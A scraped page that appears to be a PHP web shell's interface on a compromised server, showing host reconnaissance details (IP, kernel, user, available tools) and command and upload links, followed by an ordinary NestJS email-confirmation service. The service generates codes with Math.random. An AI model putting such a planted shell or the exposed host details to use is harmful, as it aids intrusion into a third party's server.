Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/src/api/mail/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
/** * Copyright 2023, the hatemragab project author. * All rights reserved. Use of this source code is governed by a * MIT license that can be found in the LICENSE file. */ import {BadRequestException, Injectable, Logger} from "@nestjs/common"; import date from "date-and-time"; import {EventEmitter2} from "@nestjs/event-emitter"; import {IUser} from "../user_modules/user/entities/user.entity"; import {MailType} from "../../core/utils/enums"; import {SendMailEvent} from "../../core/utils/interfaceces"; import {i18nApi} from "../../core/utils/res.helpers"; @Injectable() export class MailEmitterService { constructor( private readonly eventEmitter: EventEmitter2, ) { } async sendConfirmEmail(user: IUser, mailType: MailType, isDev: boolean) { let code = Math.floor(100000 + Math.random() * 900000); if (isDev) { return code } if (user.lastMail && user.lastMail.sendAt) { let min = parseInt(date.subtract(new Date(), user.lastMail.sendAt).toMinutes().toString(), 10); if (min < 2) { throw new BadRequestException(i18nApi.wait2MinutesToSendMail); } } let x = new SendMailEvent(); x.code = code.toString(); x.user = user; x.mailType = mailType; this.eventEmitter.emit("send.mail", x); return code; } }